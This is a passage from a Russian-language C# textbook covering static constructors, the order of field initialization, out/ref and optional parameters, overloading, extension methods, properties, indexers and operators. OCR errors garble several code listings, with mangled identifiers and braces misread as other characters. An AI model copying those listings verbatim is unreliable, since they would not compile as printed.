при- нимать аргументы, у класса может быть только один такой конструктор. Кроме того, поскольку доступ к ним никогда не выполняется явно, для них не указывается уровень доступа. Класс со статическим конструкто- ром демонстрирует листинг 3.19. Листинг 3.19. Класс со статическим конструктором public class Bar { private static DateTime _firstUsed; static Bar() { Console.WriteLine("Статический конструктор класса Bar"); -firstUsed = DateTime.Now; I I 158
Типы Совершенно так же, как экземплярный конструктор приводит в удобное начальное состояние экземпляр, статический конструктор предоставляет возможность проинициализировать имеющиеся стати- ческие поля. Кстати говоря, конструктор (статический или экземплярный) не обязан инициализировать каждое поле. При создании нового экзем- пляра класса все экземплярные поля изначально устанавливаются в О (или эквивалентное значение, такое как false или null). Подобным же образом, все статические поля типа заполняются нулями перед первым обращением к классу. В отличие от локальных переменных, поля требу- ется инициализировать только в том случае, если вы хотите присвоить им значение, отличное от заданного по умолчанию. И даже в таком случае вы можете не нуждаться в конструкторе; воз- можно, вы сумеете обойтись инициализатором поля. Однако при этом удобно знать, когда именно запускаются конструкторы и инициализа- торы полей. Ранее я упоминал, что поведение варьируется в зависимо- сти от наличия конструкторов, таким образом, теперь, после того как мы , рассмотрели конструкторы чуть более подробно, я наконец могу опи- сать картину инициализации в целом. На этапе выполнения статические поля типа сначала устанавлива- ются в 0 (или в эквивалентное значение). Затем запускаются инициали- заторы полей, в том порядке, в каком они записаны в исходном файле. Этот порядок приобретает важность, если инициализатор одного поля ссылается на другое. В листинге 3.20 поля а и b обладают одинаковым выражением инициализатора, однако в итоге получают разные значения (соответственно, 1 и 42), причиной чему является порядок выполнения инициализаторов. Листинг 3.20. Значимый порядок статических полей private static int а = b + 1; private static int b = 41; private static int c = b + 1; Точный момент запуска инициализаторов статических полей за- висит от наличия статического конструктора. Как упоминалось ранее, если таковой отсутствует, то запуск производится в неопределенный момент - C# гарантирует, что инициализаторы полей будут запущены до первого обращения к одному из полей типа, но в то же время остав- 159
Глава 3 ляет за собой право запустить их в любое более раннее время. Наличие статического конструктора меняет ситуацию: в таком случае инициа- лизаторы статических полей запускаются непосредственно перед кон- структором. Так когда же запускается статический конструктор? Это одно из следующих двух событий, в зависимости от того, какое из них происходит первым: создание экземпляра или обращение к любому ста- тическому члену класса. Ситуация с нестатическими полями выглядит аналогично: сначала все поля устанавливаются в 0 (или в эквивалентное значение), после чего запускаются инициализаторы полей в порядке, соответствующем их последовательности в исходном файле, и это происходит до запуска конструкторов. Конечно, отличие состоит в том, что экземплярные кон- структоры запускаются явно, и потому можно четко установить, когда они будут запущены. В листинге 3.21 представлен класс, который я написал специально для изучения поведения на этапе создания экземпляра. Я назвал его InitializationTestClass, у него есть как статические, так и нестатиче- ские поля, и инициализатор каждого из них вызывает метод GetValue. Этот метод всегда возвращает одно и то же значение — 1, однако он также выводиг сообщение, что позволяет нам видеть, когда он был вызван. Данный класс также определяет экземплярный конструктор без аргументов и статический конструктор, которые тоже выводят со- общения. Листинг 3.21. Порядок инициализации public class InitializationTestClass { public InitializationTestClass() { Console.WriteLine("Конструктор"); } static InitializationTestClass () { Console.WriteLine("Статический конструктор"); I public static int si = Се^а1ив-(-“€татическое поле 1"); public int nsl = GetValue("Нестатическое поле re- public static int s2 = GetValue("Статическое поле 2"); public int ns2 = GetValue("Нестатическое поле 2"); 160
Типы private static int GetValue(string message) { Console.WriteLine (message); return 1; I public static void Foo() { Console.WriteLine("Статический метод"); I ) class Program ( static void Main (string!] args) { Console.WriteLine ("Main") ; InitializationTestClass.Foo (); Console.WriteLine("Создание экземпляра 1"); InitializationTestClass i = new InitializationTestClass(); Console.WriteLine("Создание экземпляра 2"); i = new InitializationTestClass (); I Метод Main выводит сообщение, вызывает определенный в классе InitializationTestClass статический метод, после чего создает пару эк- земпляров. Запустив программу, мы получим следующий вывод: Main Статическое поле 1 Статическое поле 2 Статический конструктор Статический метод Создание экземпляра 1 Нестатическое поле 1 Нестатическое поле 2 Конструктор Создание экземпляра 2 Нестатическое поле 1 Нестатическое поле 2 Конструктор 161
Глава 3 Обратите внимание, что как инициализаторы статических полей, так и статический конструктор запускаются до обращения к статическому методу. Инициализаторы статических полей выполняются до выполне- ния статического конструктора, и, как и следовало ожидать, это проис- ходит в том порядке, в каком они записаны в исходномфайле. Поскольку данный класс обладает статическим конструктором, нам известно, когда выполняется статическая инициализация — ее запускает первое обра- щение к данному типу, что в этом примере соответствует моменту, когда метод Main вызывает метод InitializationTestClass. Foo. Как вы можете видеть, такое происходит непосредственно перед данным моментом, но не ранее, поскольку метод Main успевает вывести свое первое сообще- ние до выполнения статической инициализации. Если бы в примере не было статического конструктора, а только инициализаторы статических полей, то не существовало бы гарантии, что статическая инициализация происходила бы в один и тот же момент; спецификация C# допускает ее выполнение и в более раннее время. Следует проявлять осторожность в том, что вы делаете в коде, ко- торый выполняется во время статической инициализации: этот код может быть выполнен раньше, чем вы ожидаете. Например, допустим, в вашей программе используется определенный механизм диагности- ческого протоколирования и вам нужно сконфигурировать его в начале работы программы, чтобы сообщения сохранялись в надлежащем месте. При этом всегда существует вероятность, что код, работающий на эта- пе статической инициализации, окажется выполнен раньше заплани- рованного времени, когда диагностическое протоколирование еще не будет действовать надлежащим образом. Это может затруднить отлад- ку проблем в таком коде. Даже если вы сузите диапазон возможностей для С#, предоставив статический конструктор, тот также сравнительно легко может запуститься раньше запланированного момента. Любое об- ращение к статическому члену класса инициализирует его, что может привести к ситуации, когда статический конструктор запускается ини- циализаторами статических полей в некотором другом классе, где нет статического конструктора — и это может произойти даже до запуска метода Main. Способ устранить проблему — сделать так, чтобы инициализация кода протоколирования выполнялась как собственная статическая инициализация данного кода. Поскольку C# гарантирует запуск ини- циализации до первого обращения к типу, можно было бы подумать, что в таком случае инициализация кода протоколирования наверняка 162
Типы будет завершена до выполнения статической инициализации любого кода, использующего систему протоколирования. Однако это не исклю- чает вероятность проблемы: C# дает гарантию только в отношении того, когда он начнет статическую инициализацию некоторого класса. C# не обязательно будет ожидать завершения этой операции. Он и не может так сделать, поскольку если б он давал такую гарантию, то тем самым ставил бы в тупиковую ситуацию код, аналогичный представленному в листинге 3.22. Листинг 3.22. Циклические статические зависимости public class AfterYou { static AfterYou () { Console.WriteLine("Начало статического конструктора класса AfterYou"); Console.WriteLine("NoAfterYou.Value: " + NoAfterYou.Value); Console.WriteLine("Конец статического конструктора класса AfterYou"); } public static int Value = 42; ) public class NoAfterYou static NoAfterYou() { Console.WriteLine("Начало статического конструктора класса NoAfterYou") ; Console.WriteLine("AfterYou.Value: " + AfterYou.Value); Console.WriteLine("Конец статического конструктора класса NoAfterYou"); } public static int Value = 42; } В данном примере между двумя типами существует циклическая взаимосвязь: у каждого из них есть статический конструктор, который пытается применить статическое поле, определенное в другом классе. Поведение при этом зависит от того, к какому из двух классов програм- 163
Глава 3 ма обратится раньше. Если первым используется класс AfterYou, мы увидим следующий вывод: Начало’ статического конструктора класса AfterYou Начало статического конструктора класса NoAfterYou AfterYou.Value: 42 Конец статического конструктора класса NoAfterYou NoAfterYou.Value: 42 Конец статического конструктора класса AfterYou Как и следовало ожидать, первым запускается статический конструк- тор класса AfterYou, поскольку именно этот класс программа пытается ис- пользовать первым. Данный конструктор выводит свое первое сообщение, но затем пытается обратиться к полю NoAfterYou.Value. То есть в данный момент должна начаться статическая инициализация класса NoAfterYou, потому мы видим первое сообщение статического конструктора этого клас- са. Затем конструктор переходит к извлечению значения поля AfterYou. Value, невзирая на то, что статический конструктор класса AfterYou еще не окончил свою работу. Это вполне допустимо, поскольку правила в отноше- нии порядка выполнения затрагивают лишь момент запуска статической инициализации и не дают гарантии относительно момента ее завершения. Если бы эти правила давали такую гарантию, то выполнение нашего кода далее было бы невозможно — статический конструктор класса NoAfterYou не смог бы продолжить свое выполнение, поскольку еще не завершено вы- полнение статического конструктора класса AfterYou, а последний, в свою очередь, не смог бы двигаться дальше, поскольку ожидал бы окончания статической инициализации класса NoAfterYou. Мораль этого примера состоит в том, что не следует пытаться вы- полнить слишком большие‘задачи на этапе статической инициализа- ции, поскольку очень сложно предсказать, в каком именно порядке бу- дет происходить выполнение. Методы Методы — это именованные фрагменты кода, которые могут опцио- нально возвращать результат и принимать аргументы. C# проводит до- статочно широко принятое различие между параметрами и аргументами: метод определяет список входных данных, которые он ожидает, — пара- метров, — и код внутри метода ссылается на них по именам. Значения, получаемые этим кодом, могут отличаться при каждом вызове метода, 164
Типы и термин «аргумент» означает конкретное значение, предоставляемое в качестве параметра в конкретном вызове. Как вы уже видели, если используется спецификатор доступа, та- кой как public или private, он ставится в начале объявления метода. За ним иногда следует необязательное ключевое слово static. Далее объ- явление метода указывает возвращаемый тип. Как и во многих других языках семейства С, методам не обязательно что-либо возвращать, и от- сутствие возвращаемого значения указывается с помощью ключевого слова void на месте возвращаемого типа. Возвращаемое методом значе- ние указывается внутри последнего с помощью ключевого слова return и следующего за ним выражения. В случае с типом void ключевое слово return можно использовать без выражения для завершения работы ме- тода, однако это не обязательно, поскольку и без того работа такого ме- тода завершается, когда выполнение доходит до его конца. Передача аргументов по ссылке В C# методы могут возвращать только один непосредственный ре- зультат. Если вам нужно, чтобы метод возвращал несколько значений, вы можете объявить часть параметров не как входные, а как выход- ные данные. Метод в листинге 3.23 возвращает два значения, каждое из которых является результатом целочисленного деления. 13 качестве основного результата возвращается частное; однако также возвращается и остаток, передаваемый через последний параметр метода, аннотиро- ванный ключевым словом out. Листинг 3.23. Возвращение нескольких значений с использованием ключевого слова out public static int Divide(int x, int y, out int remainder) { remainder = x % y; return x / y; 1 При вызове такого метода мы должны явно сообщить о том, что нам известно, каким образом метод использует аргументы: как демон- стрирует листинг 3.24, помимо объявления метода, ключевое слово out должно стоять и в месте его вызова. (В некоторых языках семейства С нет никакого видимого различия между вызовами, передающими зна- чения и ссылки, однако семантика при этом различается очень сильно, потому C# делает различие явным.) 165
Глава 3 Листинг 3.24. Вызов метода с параметром out int г; int q = Divide(10, 3, out r); В данном случае методу Divide передается ссылка на переменную г, поэтому, когда он присваивает значение параметру remainder, он в дей- ствительности присваивает его переменной г вызывающей програм- мы. Это значение относится к типу int, который является значимым и обычно не передается по ссылке, потому такая разновидность ссылок обладает ограниченным применением. Использовать эту возможность способны только аргументы метода. Вы не можете объявить локальную переменную или поле, которое содержало бы такую ссылку, поскольку ее действие распространяется только на время вызова. (Реализация C# может делать такое путем размещения переменной г из листинга 3.24 в стеке с последующей передачей в метод Divide указателя на это место в стеке. Подобное получится, поскольку ссылка должна оставаться дей- ствующей только до завершения работы метода.) Ссылка out требует, чтобы информация направлялась из метода на- зад в вызывающую программу: если метод завершит свою работу, ниче- го не присвоив какому-либо из своих аргументов out, компилятор вы- даст сообщение об ошибке. (Это требование не распространяется на тот случай, когда вместо обычного завершения работы метод выбрасывает исключение.) Родственное ключевое слово, ref, обладает сходной се- мантикой ссылки, но допускает передачу информации в обоих направ- лениях. В случае аргумента ref метод как бы получает непосредственный доступ к переменной, которую передает в него вызывающая програм- ма — мы можем и считывать текущее значение переменной, и модифи- цировать его. (Вызывающая программа должна убедиться в том, чтобы все переменные, передаваемые с модификатором ref, в момент вызова содержат значения, поэтому в данном случае к методу не предъявляет- ся требование модифицировать переменную.) Если вы вызываете метод с параметром, аннотированным ключевым словом ref, то, как показано в листинге 3.25, необходимо дать понять в месте вызова, что в качестве аргумента передается ссылка на переменную,. Листинг 3.25. Вызов метода с аргументом ref long х = 41; Interlocked.Increment(ref x); 166
Типы Ключевые слова out и ref допускается использовать и для ссылочных типов. Хотя, возможно, это и кажется избыточным, но может быть полез- ным. Оно обеспечивает двойную косвенность — метод принимает ссыл- ку на переменную, которая содержит ссылку. Когда вы передаете методу аргумент ссылочного типа,"этот метод получает доступ к тому объекту, что вы решите ему передать. Хотя метод может использовать объект, он, как правило, не способен заменить его другим объектом. Однако если по- метить аргумент ссылочного типа ключевым словом ref, метод получит доступ к передаваемой переменной и, таким образом, сможет заменить ее содержимое ссылкой на другой объект. Параметрами out и ref могут об- ладать и конструкторы. Также, для ясности, следует сказать, что квали- фикаторы out и ref являются частью сигнатуры метода (или конструк- ра). Вызывающая программа передает аргумент out (или ref), только Кш соответствующий параметр был объявлен с квалификатором out Вти ref). Нельзя в одностороннем порядке принять решение передать аргумент по ссылке в метод, который этого не ожидает. V1’ Необязательные аргументы Аргументы, не объявленные с квалификатором out или ref, можно сделать необязательными, определив для ник значения по умолчанию. В листинге 3.26 метод специфицирует для аргументов значения, кото- рыми они должны обладать в том случае, если вызывающая программа ничего не передаст. Листинг 3.26. Метод с необязательными аргументами public static void Blame(string perpetrator = "современную молодежь", string problem = "в падении нравов") { Console.WriteLine("Я обвиняю {0} {1}.", perpetrator, problem); } После этого данный метод можно вызвать без аргументов, с одним аргументом или с обоими. Вызов в листинге 3.27 предоставляет только первый аргумент, используя в качестве аргумента problem значение по умолчанию. Листинг 3.27. Опускание одного аргумента Blame ("злобных гномов"); 167
Глава 3 Обычно при вызове метода аргументы указываются по порядку. Од- нако если при вызове метода из листинга 3.26 вы захотите предоставить только второй аргумент, а в качестве первого аргумента использовать значение по умолчанию? В таком случае нельзя просто оставить пустым место для первого аргумента — если вы попытаетесь записать Blame ( , "во всем"), компилятор выдаст сообщение об ошибке. Вместо этого сле- дует указать имя того аргумента, который вы хотите предоставить, ис- пользуя синтаксис, показанный в листинге 3.28. Вместо опущенных вами аргументов C# заполнит указанные значения по умолчанию. Листинг 3.28. Спецификация имени аргумента Blame(problem: "во всем"); “ Очевидно, что такой вызов сработает, только если вызывает- 4 * ся метод, определяющий для аргументов значения по умол- Д?‘'чанию. Однако имена аргументов можно свободно указывать при вызове любого метода — иногда это полезно, даже если не опускается ни один из аргументов, поскольку помогает по- нять, для чего предназначены аргументы и тем самым облег- чает чтение кода. Важно понимать^каким образом C# реализует значения аргументов по умолчанию. Когда при вызове метода предоставляются не все аргу- менты, как это демонстрирует листинг 3.28, компилятор генерирует код, который обычным образом передает полный набор аргументов. Он фак- тически перезаписывает ваш код, дополняя его теми аргументами, что вы опустили. Это означает, что если вы пишете библиотеку, которая подоб- , z' Ъым образом определяет значения аргументов по умолчанию, вы столкне- тесь с проблемами, если когда-либо измените эти значения по умолчанию. Код, откомпилированный с использованием старой версии библиотеки, будет содержать в местах вызова старые значения по умолчанию и не под- хватит новые значения, если вы его не перекомпилируете. Поэтому иногда вы увидите применение альтернативного механиз- ма, который также позволяет опускать аргументы: перегрузки, что явля- ется, пожалуй, слишком громким термином для достаточно заурядной идеи о том, что одному имени или символу можно придать несколько значений. На самом деле мы уже видели использование этого приема при рассмотрении конструкторов — в листинге 3.18 был определен один основной конструктор, выполняющий реальную работу, и еще два, кото- 168
Типы рые вызывали этот основной. Тот же прием можно использовать и для методов, как показано в листинге 3.29. -Г- - Листинг 3.29. Перегрузка метода public static void Blame(string perpetrator, string problem) Console. WriteLine ("Я обвиняю {0} {1}.", perpetrator, problem) ; } public static void Blame(string perpetrator) Blame (perpetrator, "в падении нравов’’); public static void Blame () Blame ("современную молодежь", "в падении нравов"); } В некотором смысле данный способ является менее гибким по срав- нению с определением значений аргументов по умолчанию, поскольку мы больше не можем предоставить аргумент problem, исцользуя в ка- честве аргумента perpetrator значение по умолчанию (хотя это доста- точно легко решается путем добавления метода с иным именем). С дру- гой стороны, перегрузка методов предоставляет два потенциальных преимущества: она позволяет при необходимости выбирать значения по умолчанию на этапе выполнения, а также дает возможность сделать необязательными аргументы out и ref. Последние требуют ссылку на локальную переменную, поэтому не существует способа определить для них значение по умолчанию, однако при необходимости вы всегда мо- жете предоставить перегруженные методы, которые будут принимать или не принимать эти аргументы. Кроме того, конечно, допустимо при- менять и сочетание этих двух техник — вы можете почти всегда исполь- зовать необязательные аргументы, прибегая к перегрузке только тогда, когда нужно сделать возможным опускание аргументов out и ref. Методы расширения C# позволяет писать методы, которые выглядят как новые члены су- ществующих типов. Эти так называемые методы расширения выглядят как обычные статические методы, с тем отличием, что-перед первым па- раметром ставится ключевое слово this. Методы расширения разрешает- 169
Глава 3 ся определять только в статическом классе. В листинге 3.30 в тип string добавляется не особенно полезный метод расширения с именем Show. Листинг 3.30. Метод расширения namespace MyApplication ( public static class StringExtensions ( public static void Show(this string s) ( System.Console.WriteLine(s); ) I I Данный пример приводится вместе с объявлением пространства имен, поскольку они представляют здесь особую важность: методы рас- ширения будут доступны только в том случае, если вы либо запише- те директиву using для пространства имен, где они определены, либо определите код в том же пространстве имен. В коде, который не сделает ни того, ни другого, класс string будет выглядеть как обычно и не полу- чит метод Show, определенный в листинге 3.30. Однако в таком коде, как в листинге 3.31, определяемом в том же пространстве имен, что и метод расширения, он будет доступен. Листинг 3.31. Метод расширения, доступный благодаря объявлению пространства имен 'паамрасе MyApplication ( class Program { static void Main(string!] args) { "Hallo".Show() ; ) ) ) Код в листинге 3.32 находится в другом пространстве имен, однако тоже обладает доступом к методу расширения, что становится возмож- ным благодаря использованию директивы using. 170
Типы Листинг 3.32. Метод расширения, доступный благодаря использованию директивы using wing ^Application; nanespace Other I class Program ( static void Main(string[] args) ( "Hello".Show(); ) I I Методы расширения в действительности не являются членами того класса, для которого они определены, — в данных примерах класс string на самом деле не получает дополнительный метод. Это лишь иллюзия, которую компилятор C# поддерживает даже в случае-неявного вызова метода. Такое особенно полезно при использовании возможностей С#, требующих доступности определенных методов. Например, в главе 2 вы видели, что циклы f oreach требуют наличия метода GetEnumerator. Неко- торых определенных методов требуют и многие из LINQ-возможностей, что мы рассмотрим в главе 10, равно как и асинхронные возможности языка, описанные в главе 18. Во всех таких случаях вы можете сделать доступным использование этих возможностей языка для тех типов, которые не обладают их непо- средственной поддержкой, написав подходящие методы расширения. Свойства Классы и структуры могут определять свойства, которые в действи- тельности представляют собой замаскированные методы. Для доступа к свойству используется синтаксис, выглядящий как доступ к полю, но в конечном счете выполняет вызов метода. Свойства могут быть по- лезны для выражения назначения. Если что-либо экспонируется как свойство, то подразумевается, что это свойство должно представлять информацию об объекте, а не выполняемую объектом операцию, потому чтение свойства обычно не требует больших затрат и не должно иметь серьезных побочных эффектов. Методы, с другой стороны, как правило, заставляют объект что-либо сделать. 171
Глава 3 Конечно, поскольку свойства — лишь разновидность метода, в дей- ствительности ничто не вынуждает вас поступать именно так. Вы може- те свободно определить свойство, которое будет работать на протяжении долгих часов и вносить значительные изменения в состояние приложе- ния при каждом считывании его значения, однако это считается плохим стилем программирования. Обычно свойство предоставляет два метода: один для получения значения и один для его установки. Очень распространенный шаблон демонстрирует листинг 3.33: свойство с методами get и set, предостав- ляющими доступ к полю. Почему же нельзя просто сделать данное поле открытым? Так делать не рекомендуется по той причине, что это по- зволяет внешнему коду изменять состояние объекта, и объект не будет об этом знать. Однако, конечно, в будущих версиях кода вполне может случиться, что объекту потребуется выполнять некоторое действие - например, обновлять пользовательский интерфейс — при каждом изме- нении значения. Еще одна причина для использования свойств состоит в том, что не- редко этого требуют системы — например, некоторые системы привязки данных к пользовательскому интерфейсу способны принимать только свойства. Кроме того, есть типы, не поддерживающие поля; так, далее в этой главе я покажу, как определять абстрактный тип, используя ин- терфейс, где интерфейс может содержать свойства, но не поля. Листинг 3.33. Класс с простым свойством tr ^xjpilblic class HasProperty ( private int _x; public int X { get ( return x; _x = value; I I 172
Типы Данный шаблон является^н^столько распространенным, что ком- пилятор C# может написать большую часть этого кода за вас. Ли- стинг 3.34 демонстрирует приблизительно эквивалентный код — ком- пилятор генерирует для нас поле и методы get и set для извлечения и модификации значения — так же, как это было сделано в листин- ге 3.33. Единственное отличие состоит в том, что код в другом месте того же класса не сможет получить непосредственный доступ к полю из листин- га 3.34, поскольку компилятор скрывает это поле. Листинг 3.34. Автоматическое свойство z/ public class HasProperty { public int X { get; set; } } И в том, и в другом случае свойство представляет собой лишь изящный синтаксис для пары методов. Метод-получатель возвращает значение объявленного типа свойства — в данном случае, типа int, — а метод-установщик принимает один аргумент того же типа через неяв- ный параметр с именем value; в листинге 3.33 этот аргумент использу- ется для обновления поля. Конечно, вы не обязаны сохранять значение в поле. Фактически ничто даже не заставляет вас делать методы get и set каким-либо образом связанными между собой — вы можете на- писать метод-получатель, возвращающий случайные значения, и метод- установщик, абсолютно игнорирующий предоставляемое ему значение. Однако только лишь то, что вы можете, совсем не означает, что вы должны так делать. На практике тот, кто будет использовать ваш класс, станет рассчитывать, что свойство запомнит предоставляемое ему зна- чение, — уже хотя бы потому, что в использовании свойства выглядят совсем как поля, что демонстрирует листинг 3.35. Листинг 3.35. Использование свойства var о = new HasProperty(); о.Х = 123; о.Х += 432; Console.WriteLine (о.Х); Если для реализации свойства используется полный синтаксис, показанный в листинге 3.33, можно опустить метод get или set, чтобы 173
Глава 3 сделать свойство, соответственно, доступным только для чтения или только для записи. Свойства, доступные только для чтения, удобно ис- пользовать для тех аспектов объекта, которые являются фиксированны- ми на протяжении времени его жизни, таких как идентификатор. Свой- ства, доступные только для записи, менее полезны, хотя и они иногда используются в системах внедрения зависимости. Вы не можете сделать свойство доступным только для чтения или только для записи, исполь- зуя синтаксис автоматического свойства, показанный в листинге 3.34, поскольку в таком случае у вас не вышло бы сделать с ним ничего по- лезного. Однако вы можете определить свойство, у которого метод- получатель будет открытым, а метод-установщик — нет, используя как полный, так и автоматический синтаксис. Листинг 3.36 показывает, как это выглядит в последнем случае. Листинг 3.36. Автоматическое свойство с закрытым методом-установщиком public int X { get; private set; } Говоря о свойствах только для чтения, следует упомянуть об одной важной проблеме, затрагивающей свойства, значимые типы и неизме- няемость. Свойства и изменяемые значимые типы Как было упомянуто ранее, значимые типы обычно более про- сты в том случае, если они являются неизменяемыми, что, впрочем, не обязательно. Одна из проблем использования модифицируемых значимых типов состоит в следующем: вместо значения, которое вы >йланировали изменить, вы случайно можете модифицировать копию значения; эта проблема становится очевидной, если определить свой- ство, использующее изменяемый значимый тип. Структура Point из пространства имен System.Windows является модифицируемой, таким образом, мы можем использовать ее, чтобы проиллюстрировать про- блему. В листинге 3.37 определяется свойство Location, принадлежа- щее к данному типу. Листинг 3.37. Свойство, использующее изменяемый значимый тип using System.Windows; public class Item { public Point Location { get; set; } } 174
Типы Тип Point определяет свойства чтения и записи с именами X и Y, по- тому, имея переменную типа Pointr,-можно устанавливать эти свойства. Однако если попытаться установить любое из них через другое свой- ство, код не откомпилируется. Такая попытка предпринимается в ли- стинге 3.38 — код пытается изменить свойство X объекта Point, извле- ченного из свойства Location объекта Item. Листинг 3.38. Ошибка: попытка изменить свойство свойства значимого типа var item = new I tern (); item. Location.X = 123; Данный код выдаст следующее сообщение об ошибке: error CS1612: Cannot modify the return value of 'Item.Location1 because it is not a variable (error CS1612: He удалось изменить возвращаемое значение для "Item. Location", поскольку оно не является переменной) C# считает переменными поля наряду с локальными переменными и аргументами методов, поэтому если мы модифицируем код в листин- ге 3.37 таким образом, чтобы член Location класса Item оказался полем, а не свойством, то код в листинге 3.38 откомпилируется и будет функ- ционировать, как ожидалось. Однако почему этот код не работает при использовании свойства? Как вы помните, свойства, по сути, представ- ляют собой методы, потому код в листинге 3.37 приблизительно эквива- лентен коду в листинге 3.39. Листинг 3.39. Замена свойства методами using System.Windows; public class Item { private Point -location; public Point get_Location () { return -location; } public void set_Location(Point value) { -location = value; } 175
Глава 3 Поскольку Point является значимым типом, метод get Location вы- нужден возвращать копию — у него нет никакой возможности возвра- тить ссылку на значение в поле location. Свойства представляют собой замаскированные методы, а потому код в листинге 3.37 тоже вынужден возвращать копию значения свойства, следовательно, если бы компи- лятор позволил откомпилироваться коду в листинге 3.38, то свойству X была бы присвоена возвращаемая свойством Location копия значения, а не то действительное значение, которое содержит данное свойство в объекте Item. В листинге 3.40 это делается явным образом, и теперь код откомпилируется — если мы достаточно ясно дадим знать о своем намерении, компилятор позволит нам забить гол в собственные ворота. Данная версия кода ясно показывает, что он не модифицирует значение в объекте Item. Листинг 3.40. Создание явной копии var item = new Item(); Point location = item.Location; location.X = 123; Так почему же код работает, когда вместо свойства используется поле? Ключ к ответу на вопрос дает ошибка компилятора: если мы хотим моди- фицировать экземпляр структуры, это необходимо делать через перемен- ную. В C# переменная представляет ячейку памяти, и если мы ссылаемся на конкретное поле по имени, то ясно, что мы хотим обратиться к ячейке памяти, в которой содержится его значение. Однако методы (и, соответ- ственно, свойства) не могут возвратить что-либо, что представляло бы ячейку памяти, — они способны возвращать только содержащееся в ячей- ке памяти значение. Иными словами, C# не предоставляет эквивалент ключевого слова ref для возвращаемых значений. К счастью, почти все значимые типы являются неизменяемыми, а данная проблема возникает только при использовании изменяемых значимых типов. Вообще-то нельзя сказать, что неизменяемость полностью 4 * снимет проблему — вы по-прежнему не сможете написатьне- Ву который код, например, item.Location.х = 123. Но, по крайней мере, неизменяемые структуры не введут вас в заблуждение, создав впечатление, что вы можете это сделать. Поскольку свойства в действ'йТельности представляют собой мето- ды (обычно идущие в паре), теоретически они могут принимать другие 176
Типы аргументы помимо неявного аргумента value, используемого методами set. Хотя среда CLR допускает подобное, C# не поддерживает это; ис- ключение составляет лишь одна особая-разновидность свойств: индек- саторы. Индексаторы Индексатор — это свойство, которое принимает один или несколь- ко аргументов и доступ к которому осуществляется с использованием синтаксиса доступа к массивам. Это полезно при создании класса, со- держащего коллекцию объектов. Код в листинге 3.41 применяет один из классов коллекций, предоставляемых платформой .NET Framework. По сути, это массив переменной длины; однако благодаря индексатору, который используется здесь во второй и третьей строках, создается впе- чатление использования нативного массива (о массивах и типах коллек- ций я подробно расскажу в главе 5). Листинг 3.41. Использование индексатора var numbers = new List<int> { 1, 2, 1, 4 }; numbers [2] += numbers[1]; 4 Console.WriteLine(numbers[0]); С точки зрения среды CLR, индексатор представляет собой самое обычное свойство, лишь с тем отличием, что оно назначено в качестве свойства по умолчанию. Такая концепция представляет собой часть пе- ренесенного на платформу .NET наследия старых версий Visual Basic на базе СОМ, которое по большей части игнорируется в С#. Индексаторы являются единственным элементом С#, обращающимся со свойствами по умолчанию особым образом. Если класс назначает свойство в каче- стве свойства по умолчанию и если оно принимает хотя бы один аргу- мент, C# позволит обращаться к этому свойству, используя синтаксис индексатора. Синтаксис для объявления индексаторов имеет довольно своеобраз- ный вид. Листинг 3.42 демонстрирует определение индексатора только для чтения. Как и в случае любого другого свойства, вы могли бы до- бавить метод set, и получить индексатор для чтения и записи. (Попут- но следует заметить, что все свойства обладают именами, не исключая свойство по умолчанию. В C# свойство индексатора обладает именем Item и автоматически снабжается аннотацией, указывающей, что это 177
Глава 3 свойство по умолчанию. Хотя обычно вы не будете обращаться к индек- сатору по имени, оно будет видимым в некоторых инструментах. В до- кументации многих классов платформы .NET Framework индексатор указывается под именем Item.) Листинг 3.42. Класс с индексатором public class Indexed { public string this[int index] { get { return index < 5 ? "Foo" : "bar"; } } } В использовании такого синтаксиса есть определенная логика. Сре- да CLR позволяет принимать аргументы любому свойству, поэтому в принципе индексации подлежит любое свойство. Таким образом, мож- но было бы допустить возможность объявления свойства в соответствии с формой, показанной в листинге 3.43. Если бы такой шаблон поддержи- вался, то имелр бы определенный смысл использовать ключевое слово this вместо имени свойства при объявлении свойства по умолчанию. Листинг 3.43. Гипотетическое именованное индексированное свойство public string X[int index] // He откомпилируется! { get ... } Как оказывается, C# не поддерживает такой более обобщенный синтаксис — проиндексировать можно только свойство по умолчанию. Я привожу листинг 3.43 лишь затем, чтобы реальный синтаксис индек- сатора не казался вам столь уж странным. C# поддерживает многомерные индексаторы, то есть такие, у кото- рых больше одного параметра, — поскольку в действительности свой- ства являются методами, вы можете определить индексаторы с любым количеством параметров. 178
Типы Операторы * ' Классы и структуры способны определять пользовательский смысл операторов. Я уже показывал несколько пользовательских операторов ранее: код в листинге 3.7 предоставлял оператор ++, а в листинге 3.11 — операторы == и ! =. Класс или структура могут поддерживать почти все арифметические и логические операторы, а также операторы сравнения, которые были представлены в главе 2. Допускается определять пользо- вательский смысл для всех операторов из таблиц 2.3-2.6, за исключени- ем операторов логического И (&&) и логического ИЛИ (| |). Однако два последних можно выразить через другие операторы, поэтому, определив операторы побитового И (&) и побитового ИЛИ (|), а также операторы х true и false (которые я опишу чуть позже), вы сможете контролировать ' выполнение операций & & и | | для вашего типа, хотя у вас и не получится реализовать их непосредственным образом. Все пользовательские реа- лизации операторов следуют определенному шаблону. Они напомина- ют статические методы, однако в том месте, где обычно располагается имя метода, стоит ключевое слово operator, а за ним следует тот опера- тор, для которого определяется пользовательский смысл. Далее следует список параметров, количество которых определяется числом требуе- мых оператором операндов. В листинге 3.7 был представлен оператор с одним параметром, унарный ++. Листинг 3.44 показывает, как в том же классе можно определить бинарный оператор +. Листинг 3.44. Реализация оператора + public static Counter operator +(Counter x, Counter y) { return new Counter(x.Count + y.Count); } Хотя требуется, чтобы количество аргументов соответствовало ко- личеству требуемых оператором операндов, только один из аргументов должен принадлежать к определяющему оператор типу. В листинге 3.45 эта особенность используется, чтобы сделать возможным сложение объ- ектов класса Counter со значениями типа int. Листинг 3.45. Добавление поддержки операндов других типов public static Counter operator +(Counter x, int y) ( return new Counter (x.Count + y) ; } 179
